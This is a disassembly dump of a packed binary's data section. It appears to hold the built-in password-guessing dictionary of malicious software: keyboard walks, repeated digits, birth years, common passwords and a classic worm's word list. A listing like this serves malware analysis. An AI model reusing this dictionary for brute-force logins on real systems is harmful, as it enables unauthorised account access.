4 aN: ; DATA XREF: .nsp0:00427F90o unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:00427F8Co align 4 aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:00427F88o align 4 aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:00427F84o align 4 aMmm db 'mmm',0 ; DATA XREF: .nsp0:00427F80o aMm db 'mm',0 ; DATA XREF: .nsp0:00427F7Co align 4 aM: ; DATA XREF: .nsp0:00427F78o unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: .nsp0:00427F74o align 4 aLllll db 'lllll',0 ; DATA XREF: .nsp0:00427F70o align 10h aLlll db 'llll',0 ; DATA XREF: .nsp0:00427F6Co align 4 aLll db 'lll',0 ; DATA XREF: .nsp0:00427F68o aLl db 'll',0 ; DATA XREF: .nsp0:00427F64o align 10h asc_428420: ; DATA XREF: .nsp0:00427F60o unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:00427F5Co align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:00427F58o align 4 aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:00427F54o align 4 aKkk db 'kkk',0 ; DATA XREF: .nsp0:00427F50o aKk db 'kk',0 ; DATA XREF: .nsp0:00427F4Co align 4 aK: ; DATA XREF: .nsp0:00427F48o unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:00427F44o align 10h aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:00427F40o align 4 aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:00427F3Co align 10h aJjj db 'jjj',0 ; DATA XREF: .nsp0:00427F38o aJj db 'jj',0 ; DATA XREF: .nsp0:00427F34o align 4 aJ: ; DATA XREF: .nsp0:00427F30o unicode 0, <j>,0 aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:00427F2Co align 4 aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:00427F28o align 4 aIiii db 'iiii',0 ; DATA XREF: .nsp0:00427F24o align 4 aIii db 'iii',0 ; DATA XREF: .nsp0:00427F20o aIi db 'ii',0 ; DATA XREF: .nsp0:00427F1Co align 4 aI_0: ; DATA XREF: .nsp0:00427F18o unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:00427F14o align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:00427F10o align 10h aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:00427F0Co align 4 aHhh db 'hhh',0 ; DATA XREF: .nsp0:00427F08o aHh db 'hh',0 ; DATA XREF: .nsp0:00427F04o align 10h asc_4284B0: ; DATA XREF: .nsp0:00427F00o unicode 0, <h>,0 aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:00427EFCo align 4 aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:00427EF8o align 4 aGggg db 'gggg',0 ; DATA XREF: .nsp0:00427EF4o align 4 aGgg db 'ggg',0 ; DATA XREF: .nsp0:00427EF0o aGg db 'gg',0 ; DATA XREF: .nsp0:00427EECo align 4 aG: ; DATA XREF: .nsp0:00427EE8o unicode 0, <g>,0 aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:00427EE4o align 10h aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:00427EE0o align 4 aEeee db 'eeee',0 ; DATA XREF: .nsp0:00427EDCo align 10h aEee db 'eee',0 ; DATA XREF: .nsp0:00427ED8o aEe db 'ee',0 ; DATA XREF: .nsp0:00427ED4o align 4 aE: ; DATA XREF: .nsp0:00427ED0o unicode 0, <e>,0 aFffff db 'fffff',0 ; DATA XREF: .nsp0:00427ECCo align 4 aFfff db 'ffff',0 ; DATA XREF: .nsp0:00427EC8o align 4 aFff db 'fff',0 ; DATA XREF: .nsp0:00427EC4o aFf db 'ff',0 ; DATA XREF: .nsp0:00427EC0o align 4 aF: ; DATA XREF: .nsp0:00427EBCo unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:00427EB8o align 10h aDddd db 'dddd',0 ; DATA XREF: .nsp0:00427EB4o align 4 aDdd db 'ddd',0 ; DATA XREF: .nsp0:00427EB0o aDd db 'dd',0 ; DATA XREF: .nsp0:00427EACo align 10h aD: ; DATA XREF: .nsp0:00427EA8o unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:00427EA4o align 10h aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:00427EA0o align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:00427E9Co aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:00427E98o align 4 aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:00427E94o align 4 aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:00427E90o align 4 aCcc db 'ccc',0 ; DATA XREF: .nsp0:00427E8Co aCc_1 db 'cc',0 ; DATA XREF: .nsp0:00427E88o align 4 aC: ; DATA XREF: .nsp0:00427E84o unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:00427E80o align 4 aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:00427E7Co align 10h aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:00427E78o aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:00427E74o align 10h aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:00427E70o align 4 aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:00427E6Co align 10h aBbb db 'bbb',0 ; DATA XREF: .nsp0:00427E68o aBb db 'bb',0 ; DATA XREF: .nsp0:00427E64o align 4 aB_0: ; DATA XREF: .nsp0:00427E60o unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: .nsp0:00427E5Co aEdc db 'edc',0 ; DATA XREF: .nsp0:00427E58o aWsx db 'wsx',0 ; DATA XREF: .nsp0:00427E54o aQaz db 'qaz',0 ; DATA XREF: .nsp0:00427E50o aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:00427E4Co align 4 aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:00427E48o align 4 aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:00427E44o aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:00427E40o align 4 aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:00427E39o align 4 aAs db 'as',0 align 10h aZxcvbnm db 'zxcvbnm',0 aZxcvbn db 'zxcvbn',0 align 10h aZxcvb db 'zxcvb',0 align 4 aZxc db 'zxc',0 aZx db 'zx',0 align 10h aZ: ; DATA XREF: .nsp0:00428080o unicode 0, <z>,0 aKonyang db 'konyang',0 aToyota_0 db 'TOYOTA',0 align 4 aKor db 'KOR',0 aKor_0 db 'kor',0 aChi db 'chi',0 dd offset byte_494843 aSystem_0 db 'system',0 align 4 aServices db 'services',0 align 4 aServers db 'servers',0 aServer_1 db 'server',0 align 4 aQwertyuiop db 'qwertyuiop',0 align 4 aQwertyuio db 'qwertyuio',0 align 10h aQwertyui db 'qwertyui',0 align 4 aQwertyu db 'qwertyu',0 aQwe db 'qwe',0 aQw db 'qw',0 align 4 aPassword1 db 'password1',0 align 4 aPassword db 'Password',0 align 4 aAaaaaaaaa db 'aaaaaaaaa',0 align 10h aAaaaaaaa db 'aaaaaaaa',0 align 4 aAaaaaaa db 'aaaaaaa',0 aAaaaaa db 'aaaaaa',0 align 4 aAaaaa db 'aaaaa',0 align 4 aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:00427D61o align 4 aAa db 'aa',0 align 10h aNokia db 'NOKIA',0 align 4 aSex db 'SEX',0 aCreative db 'CREATIVE',0 align 4 aDisc_0 db 'DISC',0 align 10h aMicrosoft db 'MICROSOFT',0 align 4 aMaster_0 db 'MASTER',0 align 4 aSony db 'SONY',0 align 4 aSamsung db 'samsung',0 aSamsung_0 db 'SAMSUNG',0 aSony_0 db 'sony',0 align 4 a7654321 db '7654321',0 a4321 db '4321',0 align 4 a321 db '321',0 a2006 db '2006',0 align 10h a2005 db '2005',0 align 4 a2004 db '2004',0 align 10h a2001 db '2001',0 ; DATA XREF: .nsp0:00427CFCo align 4 a2000 db '2000',0 ; DATA XREF: .nsp0:00427CF8o align 10h a1999 db '1999',0 ; DATA XREF: .nsp0:00427CF4o align 4 a1998 db '1998',0 ; DATA XREF: .nsp0:00427CF0o align 10h a1997 db '1997',0 ; DATA XREF: .nsp0:00427CECo align 4 a1996 db '1996',0 ; DATA XREF: .nsp0:00427CE8o align 10h a1995 db '1995',0 ; DATA XREF: .nsp0:00427CE4o align 4 a1994 db '1994',0 ; DATA XREF: .nsp0:00427CE0o align 10h a1993 db '1993',0 ; DATA XREF: .nsp0:00427CDCo align 4 a1992 db '1992',0 ; DATA XREF: .nsp0:00427CD8o align 10h a1991 db '1991',0 ; DATA XREF: .nsp0:00427CD4o align 4 a1990 db '1990',0 ; DATA XREF: .nsp0:00427CD0o align 10h a1989 db '1989',0 ; DATA XREF: .nsp0:00427CCCo align 4 a1988 db '1988',0 ; DATA XREF: .nsp0:00427CC8o align 10h a1987 db '1987',0 ; DATA XREF: .nsp0:00427CC4o align 4 a1986 db '1986',0 ; DATA XREF: .nsp0:00427CC0o align 10h a1985 db '1985',0 ; DATA XREF: .nsp0:00427CBCo align 4 a1984 db '1984',0 ; DATA XREF: .nsp0:00427CB8o align 10h a1983 db '1983',0 ; DATA XREF: .nsp0:00427CB4o align 4 a1982 db '1982',0 ; DATA XREF: .nsp0:00427CB0o align 10h a1981 db '1981',0 ; DATA XREF: .nsp0:00427CACo align 4 a1980 db '1980',0 ; DATA XREF: .nsp0:00427CA8o align 10h a1979 db '1979',0 ; DATA XREF: .nsp0:00427CA4o align 4 a1978 db '1978',0 ; DATA XREF: .nsp0:00427CA0o align 10h a1977 db '1977',0 ; DATA XREF: .nsp0:00427C9Co align 4 a1976 db '1976',0 ; DATA XREF: .nsp0:00427C98o align 10h a1975 db '1975',0 ; DATA XREF: .nsp0:00427C94o align 4 a1974 db '1974',0 ; DATA XREF: .nsp0:00427C90o align 10h a1973 db '1973',0 ; DATA XREF: .nsp0:00427C8Co align 4 a1972 db '1972',0 ; DATA XREF: .nsp0:00427C88o align 10h a1971 db '1971',0 ; DATA XREF: .nsp0:00427C84o align 4 a1970 db '1970',0 ; DATA XREF: .nsp0:00427C80o align 10h a1969 db '1969',0 ; DATA XREF: .nsp0:00427C7Co align 4 a1968 db '1968',0 ; DATA XREF: .nsp0:00427C78o align 10h a1967 db '1967',0 ; DATA XREF: .nsp0:00427C74o align 4 a1966 db '1966',0 ; DATA XREF: .nsp0:00427C70o align 10h a1965 db '1965',0 ; DATA XREF: .nsp0:00427C6Co align 4 a1964 db '1964',0 ; DATA XREF: .nsp0:00427C68o align 10h a1963 db '1963',0 ; DATA XREF: .nsp0:00427C64o align 4 a1962 db '1962',0 ; DATA XREF: .nsp0:00427C60o align 10h a1961 db '1961',0 ; DATA XREF: .nsp0:00427C5Co align 4 a1960 db '1960',0 ; DATA XREF: .nsp0:00427C58o align 10h a1959 db '1959',0 ; DATA XREF: .nsp0:00427C54o align 4 a1958 db '1958',0 ; DATA XREF: .nsp0:00427C50o align 10h a1957 db '1957',0 ; DATA XREF: .nsp0:00427C4Co align 4 a1956 db '1956',0 ; DATA XREF: .nsp0:00427C48o align 10h a1955 db '1955',0 ; DATA XREF: .nsp0:00427C44o align 4 a1954 db '1954',0 ; DATA XREF: .nsp0:00427C40o align 10h a1953 db '1953',0 ; DATA XREF: .nsp0:00427C3Co align 4 a1952 db '1952',0 ; DATA XREF: .nsp0:00427C38o align 10h a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:00427C34o a1234asd db '1234asd',0 ; DATA XREF: .nsp0:00427C30o a1234abc db '1234abc',0 ; DATA XREF: .nsp0:00427C2Co a123qwer db '123qwer',0 ; DATA XREF: .nsp0:00427C18o a12qwe db '12qwe',0 ; DATA XREF: .nsp0:00427C14o align 4 a12asd db '12asd',0 ; DATA XREF: .nsp0:00427C10o align 10h a12abc db '12abc',0 ; DATA XREF: .nsp0:00427C0Co align 4 a12qwer db '12qwer',0 ; DATA XREF: .nsp0:00427C08o align 10h a1qwe db '1qwe',0 ; DATA XREF: .nsp0:00427C04o align 4 a1asd db '1asd',0 ; DATA XREF: .nsp0:00427C00o align 10h a1abc db '1abc',0 ; DATA XREF: .nsp0:00427BFCo align 4 a1qwer db '1qwer',0 ; DATA XREF: .nsp0:00427BF8o align 10h a123467890 db '123467890',0 ; DATA XREF: .nsp0:00427BF4o align 4 a12346789 db '12346789',0 ; DATA XREF: .nsp0:00427BF0o align 4 a1234678 db '1234678',0 ; DATA XREF: .nsp0:00427BECo a123467 db '123467',0 ; DATA XREF: .nsp0:00427BE8o align 4 a12346 db '12346',0 ; DATA XREF: .nsp0:00427BE4o align 10h a121 db '121',0 ; DATA XREF: .nsp0:00427BBCo a1020 db '1020',0 ; DATA XREF: .nsp0:00427BB4o align 4 a0258 db '0258',0 ; DATA XREF: .nsp0:00427BB0o align 4 a8520 db '8520',0 ; DATA XREF: .nsp0:00427BACo align 4 a987 db '987',0 ; DATA XREF: .nsp0:00427BA8o a789 db '789',0 ; DATA XREF: .nsp0:00427BA4o a654 db '654',0 ; DATA XREF: .nsp0:00427BA0o a456 db '456',0 ; DATA XREF: .nsp0:00427B9Co a1122 db '1122',0 ; DATA XREF: .nsp0:00427B98o align 4 a0147 db '0147',0 ; DATA XREF: .nsp0:00427B94o align 4 a7410 db '7410',0 ; DATA XREF: .nsp0:00427B90o align 4 a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:00427B88o align 10h a999999999 db '999999999',0 ; DATA XREF: .nsp0:00427B84o align 4 a99999999 db '99999999',0 ; DATA XREF: .nsp0:00427B80o align 4 a9999999 db '9999999',0 ; DATA XREF: .nsp0:00427B7Co a999999 db '999999',0 ; DATA XREF: .nsp0:00427B78o align 4 a99999 db '99999',0 ; DATA XREF: .nsp0:00427B74o align 10h a9999 db '9999',0 ; DATA XREF: .nsp0:00427B70o align 4 a999 db '999',0 ; DATA XREF: .nsp0:00427B6Co a99 db '99',0 ; DATA XREF: .nsp0:00427B68o align 10h a9: ; DATA XREF: .nsp0:00427B64o unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:00427B60o align 10h a888888888 db '888888888',0 ; DATA XREF: .nsp0:00427B5Co align 4 a8888888 db '8888888',0 ; DATA XREF: .nsp0:00427B54o a888888 db '888888',0 ; DATA XREF: .nsp0:00427B50o align 4 a88888 db '88888',0 ; DATA XREF: .nsp0:00427B4Co align 4 a8888 db '8888',0 ; DATA XREF: .nsp0:00427B48o align 4 a888 db '888',0 ; DATA XREF: .nsp0:00427B44o a88 db '88',0 ; DATA XREF: .nsp0:00427B40o align 4 a8: ; DATA XREF: .nsp0:00427B3Co unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:00427B38o align 4 a777777777 db '777777777',0 ; DATA XREF: .nsp0:00427B34o align 10h a77777777 db '77777777',0 ; DATA XREF: .nsp0:00427B30o align 4 a7777777 db '7777777',0 ; DATA XREF: .nsp0:00427B2Co a777777 db '777777',0 ; DATA XREF: .nsp0:00427B28o align 4 a77777 db '77777',0 ; DATA XREF: .nsp0:00427B24o align 4 a7777 db '7777',0 ; DATA XREF: .nsp0:00427B20o align 4 a777 db '777',0 ; DATA XREF: .nsp0:00427B1Co a77 db '77',0 ; DATA XREF: .nsp0:00427B18o align 4 a7: ; DATA XREF: .nsp0:00427B14o unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:00427B10o align 4 a666666666 db '666666666',0 ; DATA XREF: .nsp0:00427B0Co align 10h a66666666 db '66666666',0 ; DATA XREF: .nsp0:00427B08o align 4 a6666666 db '6666666',0 ; DATA XREF: .nsp0:00427B04o a666666 db '666666',0 ; DATA XREF: .nsp0:00427B00o align 4 a66666 db '66666',0 ; DATA XREF: .nsp0:00427AFCo align 4 a6666 db '6666',0 ; DATA XREF: .nsp0:00427AF8o align 4 a666 db '666',0 ; DATA XREF: .nsp0:00427AF4o a66 db '66',0 ; DATA XREF: .nsp0:00427AF0o align 4 a6: ; DATA XREF: .nsp0:00427AECo unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:00427AE8o align 4 a555555555 db '555555555',0 ; DATA XREF: .nsp0:00427AE4o align 10h a55555555 db '55555555',0 ; DATA XREF: .nsp0:00427AE0o align 4 a5555555 db '5555555',0 ; DATA XREF: .nsp0:00427ADCo a555555 db '555555',0 ; DATA XREF: .nsp0:00427AD8o align 4 a55555 db '55555',0 ; DATA XREF: .nsp0:00427AD4o align 4 a5555 db '5555',0 ; DATA XREF: .nsp0:00427AD0o align 4 a555 db '555',0 ; DATA XREF: .nsp0:00427ACCo a55 db '55',0 ; DATA XREF: .nsp0:00427AC8o align 4 a5: ; DATA XREF: .nsp0:00427AC4o unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:00427AC0o align 4 a444444444 db '444444444',0 ; DATA XREF: .nsp0:00427ABCo align 10h a44444444 db '44444444',0 ; DATA XREF: .nsp0:00427AB8o align 4 a4444444 db '4444444',0 ; DATA XREF: .nsp0:00427AB4o a444444 db '444444',0 ; DATA XREF: .nsp0:00427AB0o align 4 a44444 db '44444',0 ; DATA XREF: .nsp0:00427AACo align 4 a4444 db '4444',0 ; DATA XREF: .nsp0:00427AA8o align 4 a444 db '444',0 ; DATA XREF: .nsp0:00427AA4o a44 db '44',0 ; DATA XREF: .nsp0:00427AA0o align 4 a4: ; DATA XREF: .nsp0:00427A9Co unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:00427A98o align 4 a333333333 db '333333333',0 ; DATA XREF: .nsp0:00427A94o align 10h a33333333 db '33333333',0 ; DATA XREF: .nsp0:00427A90o align 4 a3333333 db '3333333',0 ; DATA XREF: .nsp0:00427A8Co a333333 db '333333',0 ; DATA XREF: .nsp0:00427A88o align 4 a33333 db '33333',0 ; DATA XREF: .nsp0:00427A84o align 4 a3333 db '3333',0 ; DATA XREF: .nsp0:00427A80o align 4 a333 db '333',0 ; DATA XREF: .nsp0:00427A7Co a33 db '33',0 ; DATA XREF: .nsp0:00427A78o align 4 a3: ; DATA XREF: .nsp0:00427A74o unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:00427A70o align 4 a222222222 db '222222222',0 ; DATA XREF: .nsp0:00427A6Co align 10h a22222222 db '22222222',0 ; DATA XREF: .nsp0:00427A68o align 4 a2222222 db '2222222',0 ; DATA XREF: .nsp0:00427A64o a222222 db '222222',0 ; DATA XREF: .nsp0:00427A60o align 4 a22222 db '22222',0 ; DATA XREF: .nsp0:00427A5Co align 4 a2222 db '2222',0 ; DATA XREF: .nsp0:00427A58o align 4 a222 db '222',0 ; DATA XREF: .nsp0:00427A54o a22 db '22',0 ; DATA XREF: .nsp0:00427A50o align 4 a2: ; DATA XREF: .nsp0:00427A4Co unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:00427A48o align 4 a111111111 db '111111111',0 ; DATA XREF: .nsp0:00427A44o align 10h a1111111 db '1111111',0 ; DATA XREF: .nsp0:00427A3Co a11111 db '11111',0 ; DATA XREF: .nsp0:00427A34o align 10h a1111 db '1111',0 ; DATA XREF: .nsp0:00427A30o align 4 a11 db '11',0 ; DATA XREF: .nsp0:00427A28o align 4 a010 db '010',0 ; DATA XREF: .nsp0:00427A18o a009 db '009',0 ; DATA XREF: .nsp0:00427A14o a008 db '008',0 ; DATA XREF: .nsp0:00427A10o a006 db '006',0 ; DATA XREF: .nsp0:00427A08o a005 db '005',0 ; DATA XREF: .nsp0:0040A54Eo ; .nsp0:00427A04o a004 db '004',0 ; DATA XREF: .nsp0:00427A00o a003 db '003',0 ; DATA XREF: .nsp0:004279FCo a002 db '002',0 ; DATA XREF: .nsp0:004279F8o a001 db '001',0 ; DATA XREF: .nsp0:0040A539o ; .nsp0:004279F4o asc_428CA0 db '*********',0 ; DATA XREF: .nsp0:004279F0o align 4 asc_428CAC db '********',0 ; DATA XREF: .nsp0:004279ECo align 4 asc_428CB8 db '*******',0 ; DATA XREF: .nsp0:004279E8o asc_428CC0 db '******',0 ; DATA XREF: .nsp0:004279E4o align 4 asc_428CC8 db '*****',0 ; DATA XREF: .nsp0:004279E0o align 10h asc_428CD0 db '****',0 ; DATA XREF: .nsp0:004279DCo align 4 asc_428CD8 db '***',0 ; DATA XREF: .nsp0:004279D8o asc_428CDC db '**',0 ; DATA XREF: .nsp0:004279D4o align 10h a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:004279CCo align 4 a000000000 db '000000000',0 ; DATA XREF: .nsp0:004279C8o align 4 a@ db '@!',0 ; DATA XREF: .nsp0:004279A8o align 4 a@_0 db '#@!',0 ; DATA XREF: .nsp0:004279A4o a@_1 db '$#@!',0 ; DATA XREF: .nsp0:004279A0o align 4 a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042799Co align 10h a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:00427998o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:00427994o a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:00427990o align 4 asc_428D2C db '$$$',0 ; DATA XREF: .nsp0:0042798Co asc_428D30 db '$$',0 ; DATA XREF: .nsp0:00427988o align 4 asc_428D34: ; DATA XREF: .nsp0:00427984o unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: .nsp0:00427980o align 10h a789_0 db '789+',0 ; DATA XREF: .nsp0:0042797Co align 4 a0 db '=-0',0 ; DATA XREF: .nsp0:00427978o asc_428D4C db '--++',0 ; DATA XREF: .nsp0:00427974o align 4 asc_428D54 db '-+',0 ; DATA XREF: .nsp0:00427970o align 4 asc_428D58 db '----',0 ; DATA XREF: .nsp0:0042796Co align 10h asc_428D60 db '--',0 ; DATA XREF: .nsp0:00427964o ; .nsp0:00427968o align 4 asc_428D64: ; DATA XREF: .nsp0:00427960o unicode 0, <->,0 asc_428D68 db '++++',0 ; DATA XREF: .nsp0:0042795Co align 10h asc_428D70 db '+++',0 ; DATA XREF: .nsp0:00427958o asc_428D74 db '++',0 ; DATA XREF: .nsp0:00427954o align 4 asc_428D78: ; DATA XREF: .nsp0:00427950o unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: .nsp0:0042794Co align 10h a@_6: ; DATA XREF: .nsp0:0040A573o ; .nsp0:00427948o unicode 0, <@>,0 off_428D84 dd offset loc_40211D+4 ; DATA XREF: .nsp0:00427944o dword_428D88 dd 2121h dword_428D8C dd 24234021h, 2A265E25h, 0dword_428D98 dd 24234021h, 265E25hdword_428DA0 dd 24234021h, 5E25hdword_428DA8 dd 24234021h, 25hdword_428DB0 dd 234021h dword_428DB4 dd 4021h dword_428DB8 dd 21h ; .nsp0:0040F7F8o ... dword_428DBC dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:00427918o align 4 aZap db 'zap',0 ; DATA XREF: .nsp0:00427914o aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:00427910o aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042790Co aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:00427908o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:00427904o align 4 aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:00427900o align 4 aTty db 'tty',0 ; DATA XREF: .nsp0:004278FCo aTopography db 'topography',0 ; DATA XREF: .nsp0:004278F8o align 4 aTemptation db 'temptation',0 ; DATA XREF: .nsp0:004278F4o align 4 aTelephone db 'telephone',0 ; DATA XREF: .nsp0:004278F0o align 10h aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:004278ECo align 4 aSys db 'sys',0 ; DATA XREF: .nsp0:004278E8o aSupported db 'supported',0 ; DATA XREF: .nsp0:004278E4o align 4 aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:004278E0o align 4 aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:004278DCo align 4 aSun db 'sun',0 ; DATA XREF: .nsp0:004278D8o aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:004278D4o align 4 aStratford db 'stratford',0 ; DATA XREF: .nsp0:004278D0o align 10h aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:004278CCo align 4 aSignature db 'signature',0 ; DATA XREF: .nsp0:004278C8o align 4 aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:004278C4o align 4 aSal db 'sal',0 ; DATA XREF: .nsp0:004278C0o aRochester db 'rochester',0 ; DATA XREF: .nsp0:004278BCo align 4 aRje db 'rje',0 ; DATA XREF: .nsp0:004278B8o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:004278B4o align 4 aPub db 'pub',0 ; DATA XREF: .nsp0:004278B0o aProfessor db 'professor',0 ; DATA XREF: .nsp0:004278ACo align 4 aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:004278A8o align 4 aPondering db 'pondering',0 ; DATA XREF: .nsp0:004278A4o align 10h aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:004278A0o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0042789Co align 4 aPercolate db 'percolate',0 ; DATA XREF: .nsp0:00427898o align 4 aPam db 'pam',0 ; DATA XREF: .nsp0:00427894o aPad db 'pad',0 ; DATA XREF: .nsp0:00427890o aOceanography db 'oceanography',0 ; DATA XREF: .nsp0:0042788Co align 4 aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:00427888o align 4 aNew db 'new',0 ; DATA XREF: .nsp0:00427884o aNet db 'net',0 ; DATA XREF: .nsp0:00427880o aMit db 'mit',0 ; DATA XREF: .nsp0:0042787Co aMgr db 'mgr',0 ; DATA XREF: .nsp0:00427878o aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:00427874o align 4 aLiz db 'liz',0 ; DATA XREF: .nsp0:00427870o aLee db 'lee',0 ; DATA XREF: .nsp0:0042786Co aLamination db 'lamination',0 ; DATA XREF: .nsp0:00427868o align 4 aKim db 'kim',0 ; DATA XREF: .nsp0:00427864o aKey db 'key',0 ; DATA XREF: .nsp0:00427860o aJoy db 'joy',0 ; DATA XREF: .nsp0:0042785Co aJen db 'jen',0 ; DATA XREF: .nsp0:00427858o aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:00427854o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:00427850o align 10h aIbm db 'ibm',0 ; DATA XREF: .nsp0:0042784Co aHappening db 'happening',0 ; DATA XREF: .nsp0:00427848o align 10h aHal db 'hal',0 ; DATA XREF: .nsp0:00427844o aGnu db 'gnu',0 ; DATA XREF: .nsp0:00427840o aFun db 'fun',0 ; DATA XREF: .nsp0:0042783Co aForesight db 'foresight',0 ; DATA XREF: .nsp0:00427838o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:00427834o align 4 aExtension db 'extension',0 ; DATA XREF: .nsp0:00427830o align 10h aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042782Co align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:00427828o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:00427824o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:00427820o align 10h aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042781Co align 4 aDos db 'dos',0 ; DATA XREF: .nsp0:00427818o aDog db 'dog',0 ; DATA XREF: .nsp0:00427814o aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:00427810o align 10h aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042780Co align 4 aDeb db 'deb',0 ; DATA XREF: .nsp0:00427808o aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:00427804o align 4 aCommrades db 'commrades',0 ; DATA XREF: .nsp0:00427800o align 4 aChristine db 'christine',0 ; DATA XREF: .nsp0:004277FCo align 4 aChristina db 'christina',0 ; DATA XREF: .nsp0:004277F8o align 10h aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:004277F4o align 4 aCatherine db 'catherine',0 ; DATA XREF: .nsp0:004277F0o align 4 aCat db 'cat',0 ; DATA XREF: .nsp0:004277ECo aCampanile db 'campanile',0 ; DATA XREF: .nsp0:004277E8o align 4 aCad db 'cad',0 ; DATA XREF: .nsp0:004277E4o aBsd db 'bsd',0 ; DATA XREF: .nsp0:004277E0o aBob db 'bob',0 ; DATA XREF: .nsp0:004277DCo aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:004277D8o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:004277D4o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:004277D0o align 4 aAsm db 'asm',0 ; DATA XREF: .nsp0:004277CCo aAsd db 'asd',0 ; DATA XREF: .nsp0:004277C8o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:004277C4o align 10h aAnn db 'ann',0 ; DATA XREF: .nsp0:004277C0o aAndromache db 'andromache',0 ; DATA XREF: .nsp0:004277BCo align 10h aAmy db 'amy',0 ; DATA XREF: .nsp0:004277B8o aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:004277B4o align 10h aAma db 'ama',0 ; DATA XREF: .nsp0:004277B0o aAlf db 'alf',0 ; DATA XREF: .nsp0:004277ACo aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:004277A8o align 4 aAda db 'ada',0 ; DATA XREF: .nsp0:004277A4o aH4x0ring 